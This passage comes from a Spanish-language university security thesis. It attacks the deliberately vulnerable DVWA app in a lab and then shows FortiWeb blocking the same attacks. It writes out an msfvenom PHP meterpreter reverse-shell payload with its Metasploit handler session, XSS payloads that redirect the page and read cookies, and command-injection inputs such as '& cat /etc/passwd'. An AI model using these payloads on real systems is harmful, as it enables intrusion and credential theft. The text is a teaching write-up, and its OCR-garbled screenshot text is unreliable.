Tracking	>																
🗮 Auto Learn	>																
Q Web Vulnerability Scan	>																
III Log&Report	>																
C Monitor	>																
Q																	
🕂 🙆 🏢	٩	9											<ul> <li>↓</li> </ul>	6 G	26,	11:57 /04/20	)19
			Liguro	27	Cono	vión	Idon	0 \//ir	dowo	oor		r					

Figura 27. Conexion Idap a Windows server



Universidad de Buenos Aires - Especialización en Seguridad Informática

Podremos visualizar que al solicitar las credenciales recibimos el código de estado 401 unauthorized que significa que se requieren sus credenciales.

🛟 FortiWeb - FortiWeb	× • Nu	ieva pestaña	×	+	-	٥	х
$(\leftarrow) \rightarrow \mathbf{X} \ \mathbf{\hat{\omega}}$	0	192.168.1.1		711	•		-@
			-	Se requiere autenticación			
			Nombre de Cont	nttp://19.2.168.1.1 esta pidiendo usuano y contrasena. El sitio dice: "dwa" usuario: raseña: Aceptar Cancelar			
Esperando 192.168.1.1							
🕂 (e) 🚞 (	و ا		16-	- 1 tr	ii.	11:5 26/04/2	9 1019
1	Figura	28	Autont	icación adicional agregada nor Fortiweb			

Figura 28. Autenticación adicional agregada por Fortiweb



Figura 29. Código de estado 401



#### 9. Ataque secuencia de comandos en sitios cruzados XSS

#### 9.1 Secuencia de comandos en sitios cruzados XSS

Es importante tener en cuenta que, con esta vulnerabilidad, los atacantes explotan la confianza que un usuario tiene en un sitio en particular, y esto nos da una dimensión del impacto que puede tener.

Este tipo de vulnerabilidad puede ser explotada de dos maneras: de forma reflejada y de forma almacenada. A continuación, haré una breve explicación de cada una.

#### XSS reflejada

Consiste en modificar valores que la aplicación web usa para pasar variables entre dos páginas. Un clásico ejemplo de esto es hacer que a través de un buscador se ejecute un mensaje de alerta en JavaScript. Con XSS reflejado, el atacante podría robar las cookies para luego robar la identidad, pero para esto, debe lograr que su víctima ejecute un determinado comando dentro de su dirección web.

Para esto, los cibercriminales suelen enviar correos engañosos para que sus víctimas hagan clic en un enlace disfrazado y así se produzca el robo.

Para nuestro ejemplo usaremos un equipo Kali Linux para poder generar un archivo malicioso llamado documento.php

root@kali:-# msfvenom -p php/meterpreter/reverse\_tcp LHOST=192.168.1.15 LPORT=8080 R > documento.php
[-] No platform was selected, choosing Msf::Module::Platform::PHP from the payload
[-] No arch selected, selecting arch: php from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 1113 bytes

root@kali:~#

Figura 30. Generando archivo malicioso

Este documento será subido en el sistema **DVWA** en la opción de **Upload**, pero antes de realizar la carga del archivo dejaremos en modo de escucha la puerta trasera que estamos generando desde metasploit a

continuación se ve lo indicado.





Ahora vamos al sistema DVWA y cargaremos el archivo **documento.php** en **Upload** veremos el mensaje de carga completada.



Figura 32. Subiendo archivo malicioso



Figura 33. Mensaje de carga correcta



Ahora iremos a XSS reflected y agregaremos el siguiente script <script>window.location="http://192.168.1.1/dvwa/hackable/uplo

ads/documento.php"</script> y daremos clic en Submit.

🔟 Damn Vulnerable Web App (DV 🗙	+		_ = ×
$$ $\rightarrow$ $$ $$	192.168.1.1/dvwa/vulnerabilities/xss_r/	80% … 🗵 🏠	⊪ ⊡ ⊚ ≞
	<section-header><image/></section-header>	ss Site Scripting (XSS)	
		· · · ·	14/04/2015

Figura 34. Ejecutando script malicioso

Veremos como la página web se queda cargando sin mostrar información alguna.



Figura 35. Página no muestra información



Vamos a Kali Linux para ver la apertura de la conexión hacia el servidor backend.

=[ metasploit v4.16.61-dev ] +=[ 1773 exploits - 1011 auxiliary - 307 post ] +=[ 538 payloads - 41 encoders - 10 nops ] +=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]
<pre>msf &gt; use exploit/multi/handler msf exploit(multi/handler) &gt; set payload php/meterpreter/reverse_tcp payload =&gt; php/meterpreter/reverse_tcp msf exploit(multi/handler) &gt; set LHOST 192.168.1.1 LHOST =&gt; 192.168.1.1 msf exploit(multi/handler) &gt; set LPORT 8080 LPORT =&gt; 8080 msf exploit(multi/handler) &gt; exploit</pre>
<pre>[-] Handler failed to bind to 192.168.1.1:8080: [*] Started reverse TCP handler on 0.0.0.80800 [*] Sending stage (37775 bytes) to 192.168.1.1 [*] Meterpreter session 1 opened (192.168.1.15:8080 -&gt; 192.168.1.1:50804) at 2019-04-14 12:03:55 -0300 meterpreter &gt;</pre>

Figura 36. Conexión establecida con el servidor

Ahora ejecutamos unos comandos de prueba donde obtenemos información del servidor backend.



Figura 37. Ejecución de comandos al servidor

Con estos sencillos pasos, ejecutamos una puerta trasera en la máquina en un equipo cliente que nos permite acceder al servidor backend usando Metasploit.

#### XSS almacenada

Consiste en insertar código HTML (programación web) peligroso en sitios que lo permitan; de esta forma quedará visible a los usuarios que ingresen en el sitio modificado.

Inyectamos siguiente script XSS el en stored <script>alert(document.cookie)</script> daremos clic en Sign Guestbook para poder obtener la ok actual de nuestra sesión y veremos que sucede.

🔟 Damn Vulnerable Web App (DV 🗙	+					_ 0	×
← → ♂ ☆	(i) 192.168.1.1/dvwa/vulnera	abilities/xss_s/		₽ 80% ♥	ά	II\ 🗉 😡	≡
C W	() 192.168.1.1/dvwa/vulnero Home Instructions Setup Brute Force Command Execution Command Execution SQL Injection (Blind) Upload X55 stored DVWA Security PHP Info About Logout Username: admin Security Level; jow	biblitter, Kass, sol Vulnerability: Stored Cl Script7-siert(document Message * Sgn Questook Marmo toot Message This a test comment. Ether in a test comment. Hore info	ross Site Script	ting (XSS)	Ω	IN UL GA	
		Damn Vulnerable Web Application (	DVWA) v1.0.7				
🕂 🦂 🚞 🚯	0				- () ·	12 12	1:37

Figura 38. Ejecutando script malicioso

■ Damn Vulnerable Web App (D\ ×	+								
$\leftarrow \rightarrow \times \square$	① 192.168.1.1/dvwa/vulnerabilities/xss_5/		☆		) ©	≡			
	DVWA								
	Home         File Includion           Security         Name *           Brute Force         Security=low; PHPSESSID=1ba07f63c311027159d53ec5636604a8           CSRF         File Includion           SQL Injection         Aceptar           Upload         Name: test2           X85 reflected         Name: test2           Mone         About	5)							
Leido 192.168.1.1									
			- UD	1 <b>13</b> 15%	14/04/	2019			

Obtenemos como resultado el valor de la cookie del usuario.

Figura 39. Obteniendo cookie despues del ataque



Para la siguiente prueba iremos nuevamente a **XSS Stored** inspeccionaremos la página web y modificaremos ambas cajas de texto las cuales están limitadas a 50 palabras lo que haremos es modificar a 500.

Damn Vulnerable Web App (DV 🗙	+					-	
← → ♂ ☆	③ 192.168.1.1/dvwa/vulr	erabilities/xss_s/	Ē	80% ***	⊠ ☆	lii\ 🗈	
		DVWA					
	Home	Vulnerability: Stored Cr	ross Site Scripting	(XSS)			
	Instructions Setup Name*						
	Brute Force Command Execution	Message *	.di				
	CSRF File Inclusion	Sign Guestbook			]		
🕞 inspector 🕞 Consola	Depurador {} Editor de estilo	@ Rendimiento 🕕 Memoria 🗦 Red	용 Almacenamiento 🕆 Acce	sibilidad			<u> </u>
+			Q Buscar HTML	🖉 💽 Reglas	Distribución Calculada	Cambios	Animacic
▼ <div class="vulnerable_cod&lt;/td&gt;&lt;td&gt;le_area"></div>			▲ V Estilos de	filtro		+ 📭 .ds	
<pre>v <form <table="" cel<="" method="post" name="" pre="" v="" width="550"></form></pre>	="guestform" onsubmit="return va lspacing="1" cellpadding="2" bor	lidate_form(this)"> event ter="0">		elemento 🕁	{	in	ncorporado
<pre></pre>	lessage *			font: ▶: vertical	area, select 👜 { 100% arial,sans-serif; align: middle;	na	ain.css:32
≂	Reference Root and Root and Root	and an able BEAR standards		Heredada de	div#main_body		
<td>mixmessage cois= 50 rows= 3</td> <td>maxiengtn= 50 &gt;</td> <td></td> <td>div#main_bo font_siz }</td> <td>dy ⊕ { <del>e: 13px;</del> ⊽</td> <td>mai</td> <td>in.css:141</td>	mixmessage cois= 50 rows= 3	maxiengtn= 50 >		div#main_bo font_siz }	dy ⊕ { <del>e: 13px;</del> ⊽	mai	in.css:141
				Heredada de	div#container		
				div#contain font_siz }	er ф { e:13px; ⊽	mai	in.css:118
				🗸 Heredada de	body		
html > body.home > div#container > div	#main_body > div.body_padded > div	.vulnerable_code_area > form > table > tbody > t	tr > td > textarea	body 🕁 {	40.50.50.5	п	main.css:1
1	<b>9</b>			CALAR.	- I	) 🔓 🗔	12:51 14/04/2019

Figura 40. Modificando tamaño de campo

Damn Vulnerable Web App (DV X	+							-	٥	×
← → ♂ ✿	(i) 192.168.1.1/dvwa/vuln	erabilities/xss_s/		E (	80% 6	∂ ✿	10	\	Qui	Ξ
		DVWA								^
	Home	Vulnerability: Stored Ci	oss Site Script	ing (XS	SS)					
	Instructions									
	Setup	Name *								
	Brute Force Command Execution CSRF	Message *	th.							
	rile inclusion	~ <b>.</b>							_	~
L k Inspector ⊵ Consola	Depurador {} Editor de estilo	(@ Rendimiento ¶_⊫ Memoria _= Red	Almacenamiento '	Accesibili	dad				יי נס	• X
+			Q. Buscar HTML	Ň	Reglas	Distribución	Calculada Ca	ambios	Anim	nacic 🔻
<pre>w <div <="" class="vulnerable_code" pre=""></div></pre>	de_area">			^	♥ Estilos de fi	ltro		-	+ "r	.cls
<pre>v <form <form="" guestform"="" method="&lt;/td&gt;&lt;td&gt;=" name="" onsubmit="return val&lt;/td&gt;&lt;td&gt;lidate_form(this)" v=""> event</form></pre>			elemento 🕁	(		in	corpora	n obe		
*	itshariuR= i ceithanniuR= i nour				}	na calact ifi	ſ		in core	- 22
▶ >					font: 10	ea, select la s 0% arial.sans-s	l erif:	IIId.	111.055	.52
					vertical-a	align: middle;	,			
	lessage *				}					
⇒ >	"mtxMaccago" colc_"50" powe_"3" ;	navlanath_"500"\//taytanaa\		_	Heredada de d	iv#main_body				
	mexicasoge cors- so rows- s r	autrengen- 900 vereeneuv			div#main_body	· O (		main	n.css:1	141
					font size	— <b>13px;</b> ♀				
tr>					1					
					Heredada de d	iv#container				
					div#container	· [] {		mair	n.css:1	.18
					}	Toby?				
				~	, Heredada de b	ody				
html > body.home > div#container > div	v#main_body > div.body_padded > div	vulnerable_code_area > form > table > tbody > t	r > td > textarea		body 🔆 {			ma	ain.cs	s:1 U
🕂 🙆 🚞 🕑	<b>9</b>				colon:	*163636+	- 🕪 居	1	12:5 14/04/2	1 019

Figura 41. Nuevo tamaño de campo

Ahora con el campo admitiendo más cantidad de caracteres agregaremos el siguiente script:

#### <SCRIPT

language="javascript">window.location="http://www.taringa.com";</SC **RIPT>** 

🕄 FortiWeb - FortiWeb 🛛 🗙	🗾 Damn Vulnerable Web App (DV 🗙	+		- 0	Х
$\leftrightarrow$ $\rightarrow$ $\mathfrak{C}$ $\mathfrak{L}$	🛈 🔏 192.168.1.1/dvwa/vulner	abilities/xss_s/	80% … 🛛 ☆	∥ ⊡ ©	_©
		DYWA			
	Home	Vulnerability: Stored Cross Site Scripting	(XSS)		
	Instructions Setup	Name * tp://www.taringa.com",			
	Brute Force	Message *			
	CSRF	Sign Guestbook			
	SQL Injection	Name: test			
	SQL Injection (Blind) Upload	Message: This is a test comment.			
	XSS reflected XSS stored	More info http://ha.ckers.org/xss.html			
	DVWA Security	http://en.wikipedia.org/wiki/Cross-site_scripting http://www.cgisecurity.com/xss-fag.html			
	PHP Info About				
	Logout				
	Username: admin Security Level: low PHPIDS: disabled		View Source View Help		
		Damn Vulnerable Web Application (DVWA) v1 0.7	Activar Windows Ir a Configuración de PC para activa		
2 📋 🕘	9		▲ <b>(</b> ))	ਡ 🗔 19 ∎ 14/04	:03 4/2019
	Eiguro 4	2 Eigeutando corint malia	ioco		

Figura 42. Ejecutando script malicioso

Al dar clic en Sign Guestbook veremos cómo intenta enviarnos a una página que podría ser manipulada por un atacante para robar información.



Figura 43. Script se ejecuta correctamente



# 9.2 Mitigación de ataques secuencia de comandos en sitios cruzados XSS

Fortiweb puede detectar muchos ataques de XSS y fugas de datos con firmas, estas firmas son actualizadas mediante **Fortiguard**.

Veremos como replicaremos el ataque **XSS reflected** y Fortiweb lo bloquea correctamente.

Damn Vulnerable Web App (DV X	🛟 FortiWeb - FortiWeb 🛛 🗙	+			- ť	-	×
← → ♂ ŵ	🛈 🔏 192.168.1.1/dvwa/vulne	rabilities/xss_r/	80% ••• 🗵	☆ III'	1	<b>G</b> u	-0
	Home Instructions Setup Brute Force Command Execution CSRF File Inclusion SQL Injection SQL Injectio	<image/> <image/> <section-header><section-header><section-header><section-header><section-header><section-header><section-header></section-header></section-header></section-header></section-header></section-header></section-header></section-header>	rripting (XSS) Vew Source Vew Help Activar V Ir a Confige	Vindows rración de PC para activar			
🗄 🙆 🚞 🕹	9			- U Pa	14 IA	16:57 /04/20	019

Figura 44. Ejecutando script malicioso

The URL you requested has been bl X 🚼 FortiWeb - FortiWeb - X +													~													
(←) → C û () 192.168.1.1/dvwa/vulnerabi							abilitie	es/xss_	r/?nam	ne= <sci< th=""><th>ript&gt;w</th><th>indow.le</th><th>ocatior</th><th>%3D"ht</th><th>tp%3A9</th><th>%2F%2</th><th>80%</th><th>•</th><th> ⊌</th><th>☆</th><th></th><th>I</th><th>lil\</th><th>1</th><th>0</th><th></th></sci<>	ript>w	indow.le	ocatior	%3D"ht	tp%3A9	%2F%2	80%	•	⊌	☆		I	lil\	1	0	
	Web Pa	ge	Bloc	ked!																						
The page cannot be displayed. Please contact the administrator for additional information.																										
URL: 192.168.1.1/dvwa/vulnerabilitics/xss_r/																										
	Client IP: 192 Attack ID: 20 Message ID:	2.168	1.2 08 0000849	0																						
																		Ac	tivar	Win	dows					
																		lr a		uraci	on de PC pa	ara activa	ar W	ndov	VS.	
💷 🙆 🚞		6				-																n n los 🗖	- 15		16:57	
		Y.																				101	0.00	14	/04/20	19

Figura 45. Bloqueo de FortiWeb


Ahora veremos cómo bloquea un ataque XSS Stored trataremos de obtener la cookie del usuario mediante el siguiente script <SCRIPT>alert(document.cookie)</SCRIPT> clic Sign damos en Guestbook y vemos como Fortiweb bloquea el ataque.

😫 FortiWeb - FortiWeb 🛛 🗙	Damn Vulnerable Web App (DV X	+							-	٥	Х
← → ♂ ŵ	③ 192.168.1.1/dvwa/vulnerabili	ities/xss_s/			F	80% ••	• ⊠ ☆		III\ 🗉	G	-0
			DVWA	0.14	. ( ()	(00)					
	Home Instructions Betup Brute Force Command Execution	Name *	test4 <script>alert(document.cooki</th><th>e)</script>	ipting (/	K33)						
	CSRF File Inclusion SQL Injection (Bind) Upload XS3 reflected XS3 stored DVWA Security DIVMA Security	Name: test Message: This is More info http://ha.ckers.or http://en.wikipedia http://www.colsec	Sign Guestbook a test comment. a test comment. acrohyte/Cross-site_scripting urity.com/xss-fae.html								
	About Logout Username: admin Security Level: (ov PHPIDS: disabled				Vie	w Source View	v Help				
		Dami	n Vulnerable Web Application (DVW	A) v1.0.7		Act Ir a C	<b>ivar W</b> i Configura				
🗧 🙆 🚆 🕹	<b>9</b>					-		- I)	<b>B</b> 🛱	17:2 14/04/3	25 2019

Figura 46. Ejecutando script malicioso



37

Ahora ejecutaremos nuevamente en XSS reflected el siguiente script **<SCRIPT** 

**Ianguage="javascript">window.location="http://www.taringa.com";</SC RIPT>** previamente modificamos el campo del texto para permitirnos admitir 500 caracteres damos clic en **Sign Guestbook** y vemos que sucede.

🛟 FortiWeb - FortiWeb 🛛 🗙	Damn Vulnerable Web App (DV 🗙	+		- 8 ×
$\leftarrow \rightarrow $ C	🛈 🔏 192.168.1.1/dvwa/vulne	abilities/xss_s/	▽ ☆	• ⊶ =
← → ⊂ ŵ	Instructions          Brute Force         Command Execution         CSRF         File Inclusion         SOL Injection (Blind)         Upload         XSS reflected         XSS stored         DVWA Security         PH Info         About         Logout	bilities/xss_s/		
	Username: admin Security Level: low PHPIDS: disabled	View Source	View Help	
		Damn Vulnerable Web Application (DWWA) v1.0.7	ctivar Windows a Configuración de PC para activar W	
📢 🖨 🎽 🧕	9		- 🕼 隆 🗄	19:03 14/04/2019

Figura 48. Ejecutando script malicioso

Como vemos el ataque fue correctamente bloqueado.





# 10. Ataque de referencia directa insegura a objetos

## 10.1 Referencia directa insegura a objetos

Las referencias inseguras a los objetos pueden ocurrir donde la aplicación web no valide la autorización a esos objetos. El hecho de que un cliente haya enviado un nombre de usuario y una contraseña no significa que deba ser universalmente confiable. Cada solicitud debe validarse para determinar si esa persona está autorizada para cambiar las contraseñas de los demás o no.

Este concepto es similar a A7 y A10, que verá más adelante. La diferencia es que A4 trata específicamente con parámetros en lugar de páginas y entradas de aplicaciones en lugar de redirigir las URL.

Linux permiten ejecutar comandos en una sola línea a través del uso de una serie de operadores:

- Ampersand ("&") nos permite que dos o más comandos se ejecuten de manera simultánea.
   \$ cd /tmp & mkdir nombre\_directorio
- Barra ("|"): la salida del primero se convierte en la entrada del segundo.

\$ find . | xargs grep cadena\_a\_buscar

 Doble ampersand ("&&") u operador AND: el segundo comando sólo se ejecutará si el primero termina con éxito.

\$ make && make install

 Doble barra ("||") u operador OR: el segundo comando se ejecutará si el primero NO termina con éxito.

\$ cp /home/pepe/\*.doc /backup/usuarios/pepe || echo "Sin hacer nada"

Vamos al Sistema DVWA a la opción de **Command Execution** y escribiremos el siguiente comando **& cat /etc/passwd** veremos que resultado obtenemos.



Como podemos validar el campo que debería permitir ingresar una dirección ip no valida los parámetros que se ingresan, con el comando ingresado podemos visualizar el contenido del archivo **passwd** donde se registran las cuentas de usuarios, así como las claves de accesos y privilegios.

Normalization         Normalization <td< th=""><th></th><th>DVWA</th><th></th></td<>		DVWA	
<pre>biddr:life:in:lif</pre>	Home Instructions Setup Brute Force Command Execution CSRF File Inclusion SQL Injection SQL Injectio	Vulnerability: Command Execution Ping for FREE Enter an IP address below Control of the control	
More info		<pre>bind::105:115:://wr/cate/bind:/bin/false postFix::108:115::/wr/cate/bind:/bin/false ftp:::107:5534::/home/ftp:/bin/false postgress:108:117:Postgress[L.administrator_,,:/wr/lb/postgresgl:/bin/bash mysgl::109:118:5534:://bin/false distcod::118:55534:://bin/false distcod::118:55534:://bin/false distcod::118:55534:://bin/false sec::109:108:108: issue: wsr_lll,:/bin/bash sec::109:108:108: issue: wsr_lll.issue:/bin/bash sec::109:108:108: issue: wsr_lll.issue:/bin/bash sec::109:108:108: issue: bin/bin/bash sec::109:108:108: issue: bin/bin/bash sec::109:108:108: issue: bin/bin/bash sec::109:108:108: issue: bin/bin/bash sec::109:108:109: issue: bin/bin/bash sec::109:109:109:109:109:109:109:109:109:10</pre>	
		More info	

Figura 50. Ejecutando comandos maliciosos

Ahora vamos a listar los directorios del servidor mediante el siguiente comando || ls -l / veamos que sucede.



Figura 51. Ejecutando comandos maliciosos



En estos tipos de ataques también puede realizarse mediante envenenamiento de cookies que ya hemos visto anteriormente, otro tipo de ataque que podemos ser vulnerables es por la divulgación de información que URL podemos observar en la siguiente http://192.168.1.1/dvwa/instructions.php una extensión de archivo .php, por ejemplo, es una entrada que le dice al servidor web que debe usar su preprocesador PHP para representar la página HTML antes de responder a los clientes. Si permite que un cliente cargue un archivo PHP arbitrario y luego vaya a esa URL, puede acceder a cualquier información a la que tenga acceso el módulo PHP.

← → C ③ 192.168.1.1/dwwa/instructions.php									
	DVWA								
Home	Instructions								
Instructions Setup	Read Me   Change Log   Copying   PHPIDS License								
Brute Force	****************** DAMN VULNERABLE WEB APP *******************								
Command Execution CSRF	Damn Vulnerable Web App (DVWA) is a PHP/MySQL web application that is damn vulnerable. Its main goals are to be an aid for security professionals to test their skills and tools in a legal environment, help web developers better								
File Inclusion SQL Injection	understand the processes of securing web applications and aid teachers/students to teach/learn web application security in a class room environment.								
SQL Injection (Blind) Upload	************* # WARNING! #								
XSS reflected XSS stored	Damn Vulnerable Web App is damn vulnerable! Do not upload it to your hosting provider's public html folder or any working web								
DVWA Security	server as it will be hacked. I recommend downloading and installing XAMPP onto a local machine inside your LAN which is used solely for testing.								
PHP Info About	We do not take responsibility for the way in which any one uses Damn Vulnerable Web App (DVWA). We have made the purposes of the application clear and it should not be used malicicusly. We have given warnings and taken measures to prevent users from								

Figura 52. Sistema web muestra extensión de archivos

## 10.2 Mitigación referencia directa insegura a objetos

Fortiweb nos brinda la posibilidad de aplicar reglas de validación de parámetros, podemos definir longitudes y tipos de datos para los campos que necesiten su respectiva validación, a continuación, vamos a brindar seguridad al campo de la pestaña **Command Execution**, veremos cómo nos protege de estos tipos de ataques.

#### Ejecutando el comando & cat /etc/passwd vemos lo siguiente:

E FortiWeb - FortiWeb	X 🖸 Damn Vulnerable Web App (D\ X	+		_ 🗗 🗡
← → ♂ ŵ	③ 192.168.1.1/dvwa/vulneral	- oilities/exec/	80%) … 🛛 🕁	II\ ⊡ ୍ =
	Home Instructions Setup Brute Force	Vulnerability: Command Execution Ping for FREE Enter an IP address below: a cat retorpasswd submt		
	Command Execution CSRF File Inclusion SQL Injection SQL Injection (Blind) Upload XSS reflected XSS stored	More info http://www.scfbd.com/doc/2530476/Ptp-Endangers-Remote-Code-Execution http://www.ss64.com/doc/ http://www.ss64.com/nt/		
	DVWA Security PHP Info About			
	Username: admin Security Level: high PHPIDS: disabled		View Source View Help	
		Damn Vulnerable Web Application (DWWA) v1.0.7		
<b>1</b>	<b>(</b>			<ul> <li>▲ ● ► ■ 0:24</li> <li>17/04/2019</li> </ul>

Figura 53. Ejecutando comandos maliciosos

Podemos ver como Fortiweb bloquea el ataque de manera satisfactoria.



Figura 54. Bloqueo de FortiWeb

Otra opción de mitigar este tipo de ataque es aplicando una validación del campo para solo permitir el ingreso de una dirección ip a continuación se

ve como ingresamos el nombre de una persona.

C FortiWeb - FortiWeb X	Damn Vulnerable Web App (D) X	+			-	8	×
↔ ♂ ŵ	🛈 🔏 192.168.1.1/dvwa/vulne	rabilities/exec/	80% ••• 🛛	☆ II	\	©,	≞
		DVWA					
	Home Instructions Setup Brute Force Command Execution CSRF File Inclusion SQL Injection (Blind) Upload XSS reflected XSS stored DVWA Security PHP Info About Logout	Vulnerability: Command Execution Ping for FREE Enter an IP address below: cardos suica suice More info Intro://www.schid.com/doc/2558/78/Php-Endengers-Remote-Code-Execution Intro://www.schid.com/doc/258/78/Php-Endengers-Remote-Code-Execution					
	Username: admin Security Level: high PHPIDS: disabled		View Source View Help				
		Damn Wuhereable Web Application (DVWA) v1.0.7					
🕂 🙆 🚞 🗕	<b>9</b>			- 0 R	R 1	0:33 17/04/2	8 2019

Figura 55. Ejecutando comandos maliciosos

Vemos el log de Fortiweb donde se evidencia el bloqueo de un parámetro inválido.

C FortiWeb - FortiWeb		x	The URL you requested has been bit $ imes$ +										×
← → ♂ ŵ			(i) 192.168.1.1	1044/index					80% … 🛛 🕁	111		G.	-©
FortiWeb-VM For	tiWeb										?	>_	
System	> ^	Atta	Aggregated Atta	cks									
FortiView	5		. 600						PTOLOCOI	tcp	_	_	^
• 11	÷.	0	X Severity Level: ! Inf	ormative O	Add Filter			×	Service	http			
Coser	1	#	Date/Time Policy	Source	Destination	Threat Level	Action	м	Cipher Suite	none			
Policy	>	1	04-16 19:33 DVWA	192.168.1.2	20.20.20.5		Alert Deny	Parameter name - (ip) triggered param	HTTP Version	1.x			
Server Objects	>	2	04-16 19:25 DVWA	192.168.1.2	20.20.20.5		Alert Deny	Parameter name - (ip) triggered param	Action	Alert_Deny			
+ Application Delivery	>	3	04-16 19:24 DVWA	192.168.1.2	20.20.20.5		Alert Denv	Parameter name - (ip) triggered param	Policy	DVWA			
A Web Protection		4	04-1619:24 DVWA	192,168,1,2	20.20.20.5	-	Erase	HTTP Header triggered signature ID 0	Method	post			
- Web Hoteetion	<i></i>	5	04-1619:24 DVWA	192 168 1 2	20 20 20 5		Frase	HTTP Header triggered custom signat	URL	/dvwa/vulnerabilities/exec/			
FTP Security	>	6	04-16 19:24 DV/WA	192 168 1 2	20 20 20 5		Frase	HTTP Header triggered custom signat	HTTP Host	192.168.1.1			
DoS Protection	>	7	04-1619:24 DVWA	192 168 1 2	20 20 20 5		Frase	HTTP Header triggered custom signat	FortiWeb Session ID	23F3E7D4KGQQKDH8JQ1	214JU	935W	FC
Protection	>	8	04-1619:24 DVWA	192.168.1.2	20.20.20.5		Erase	HTTP Header triggered custom signat	6	/1			-
Tracking	>	9	04-1619:24 DVWA	192.168.1.2	20.20.20.5		Erase	HTTP Header triggered custom signat	Severity Level	Low			
= Auto Learn		10	04-16 19:24 DVWA	192,168,1,2	20.20.20.5		Erase	HTTP Header triggered signature ID	Signature Subclass Type	N/A			
	<u> </u>	11	04-1619:24 DVWA	192 168 1 2	20 20 20 5	-	Frase	HTTP Header triggered custom signal	Signature ID	N/A			
Q Web Vulnerability Scan	>	12	04-1619:24 DVWA	192 168 1 2	20 20 20 5		Alert Denv	Page Access Rule Violation	Source Country	Reserved			
III Log&Report	~	13	04-1619:24 DVWA	192.168.1.2	20.20.20.5		Erase	HTTP Header triggered signature ID 0	HTTP Content Routing	none			
Log Access	~	14	04-1619:24 DVWA	192 168 1.2	20 20 20 5		Erase	HTTP Header triggered custom signat	Server Pool	Srv_Aplicacion			
Attack		15	04-1619:23 DVWA	192 168 1 2	20 20 20 5		Frase	HTTP Header triggered custom signat	Username	csulca			
Event		16	04-16 19:23 DVWA	192 168 1 2	20 20 20 5	-	Erase	HTTP Header triggered custom signat	Monitor Mode	Disabled			
LVCIL		17	04-16 19:23 DVWA	192 168 1 2	20 20 20 5	##T0	Frase	HTTP Header triggered signature ID 0	HTTP Referer	http://192.168.1.1/dvwa/vul	inerabi	lities/e	xe
Traffic		18	04-1619:23 DVWA	192.168.1.2	20.20.20.5	-	Erase	HTTP Header triggered custom signat	Client Device ID	none			
Download		19	04-16 19:23 DVWA	192.168.1.2	20.20.20.5		Redirect	Start Page Violation	Main Type	Parameter Validation			
Report	>	20	04-1619:23 DVWA	192.168.1.2	20.20.20.5	-	Redirect	Start Page Violation	Sub Type	N/A			
Log Policy	~	21	04-1619:13 DVWA	192 168 1 2	20 20 20 5	-	Frase	HTTP Header triggered signature ID 0	Threat Level				
Les Conte	-	22	04-1619:13 DVWA	192.168.1.2	20.20.20.5		Erase	HTTP Header triggered custom signat	Threat Weight	30			
Log Conng	>					-			Historical Threat Weight	0			
C Monitor	> ~				a cara	(07 )	. IT I LOT	3		14	1.14/01	A77 A	
Q		-		0		/2/ > >	[Iotal:263]	5]	<				>
🕂 ê 🚞	6		9							- 🕩 🔂	a.	0:3 17/04/	1 2019

Figura 56. Revisando logs generados



# 11. Ataque de configuración de seguridad incorrecta

# 11.1 Configuración de seguridad incorrecta

La mayoría de los servidores web tienen páginas predeterminadas. Cuando configura el servidor web por primera vez, esto ayuda a confirmar rápidamente que el software se está ejecutando. Sin embargo, estos archivos nunca deberían exponerse en servidores de producción. Este es esencialmente el mensaje de A5. Estos archivos proporcionan información que puede ser útil para los atacantes. Si sus permisos son incorrectos, estos archivos también pueden ser un vector de explotación.

Ingresando a sistema DVWA podemos ver como la extensión de la página de inicio de sesión como la de la pestaña **PHP info** muestra información sensible del servidor y de la configuración del sistema web.

← → C ③ 192.168.1.1/dvwa/phpinfo.php	
PHP Versi	on 5.2.4-2ubuntu5.10
Sustam	Linux motosplaitable 3.6.34.16 convertit SMD Thu Apr 10.13:50:00 LITC 3000 i606
Build Date	Jan 6 2010 21:50:12
Server API	CGI/FastCGI
Virtual Director Support	disabled
Configuration F (php.ini) Path	/etc/php5/cgi
Loaded Configuration F	/etc/php5/cgi/php.ini File
Scan this dir fo additional .ini f	or /etc/php5/cgi/conf.d
additional .ini fi parsed	files //etc/php5/cg/cond/digd.ini,/etc/php5/cg/cond/d/mysqLini, //etc/php5/cg/cond/dimysqli.ini,/etc/php5/cg/cond/dipdo.ini, /etc/php5/cg/cond/dipdo_mysqLini
PHP API	20041225
PHP Extension	20060613
Zend Extension	n 220060519
Debug Build	no
Thread Safety	disabled
Zend Memory Manager	enabled
IPv6 Support	enabled
Registered PHF Streams	P zip, php, file, data, http, ftp, compress bzip2, compress zlib, https, ftps
Registered Stre Socket Transpo	eam tcp, udp, unix, udg, ssi, ssiv3, ssiv2, tis orts
Registered Stre Filters	eam string.rol13, string toupper, string.tolower, string_strip_tags, convert.*, consumed, convert.iconv.*, bzip2.*, zlib.*
This server is pr Copyright (c) 20	rotected with the Subjean Patch 0 9.6.2 06 Hardened-PHP Project 수호신

Figura 57. Divulgación de información

El archivo **phpinfo.php** generalmente tiene una función simple que muestra todas las configuraciones de PHP. Cada aplicación podría tener su propio archivo php.ini y .htaccess. IIS, Apache o cualquiera que sea su servidor web puede insertar un encabezado **X-Powered-By: y Server:** que



indica qué versiones de servidor y parche están instaladas. Las huellas dactilares de la pila de software son útiles para crear ataques o incluso para comprar ataques predefinidos en el mercado negro.

Si cualquier archivo de configuración puede ser leído, escrito o ejecutado por los usuarios en Internet, los atacantes pueden obtener información sobre cómo explotar los servidores no reparados, reescribir la configuración y más.



Figura 58. Divulgación de información



Figura 59. Divulgación de información

# 11.2 Mitigación de ataques por configuración de seguridad incorrecta

Las pruebas creativas de penetración realizadas por especialistas humanos siempre deben ser parte de sus auditorías de



seguridad, pero las **pruebas automáticas** también deben formar parte de su arsenal. Es imprácticamente lento encontrar vulnerabilidades comunes usando solo pruebas manuales. Para esto, podemos usar **el escáner de vulnerabilidad web** integrado de FortiWeb, utiliza HTTP (como sus usuarios) e intenta encontrar módulos no parcheados, divulgación de código fuente, más vulnerabilidades a tres de las 10 amenazas principales de OWASP.

- Inyección sql.
- Secuencia de comandos en sitios cruzados XSS.
- Ejecución de comandos.
- Divulgación de información.

Las vulnerabilidades A5 se enumerarán en la Información y a veces, en las categorías de vulnerabilidades de divulgación de fuentes. También puede usar la categoría de firmas de Divulgación de información para encontrar vulnerabilidades A5. Otra mitigación de Fortiweb es usar el **autoaprendizaje** el cual detecta las direcciones URL sensibles de cada servidor y por último **definir reglas de acceso a URL sensibles**.

Para bloquear los ataques de divulgación de información activaremos en firmas de Fortiweb como veremos a continuación:

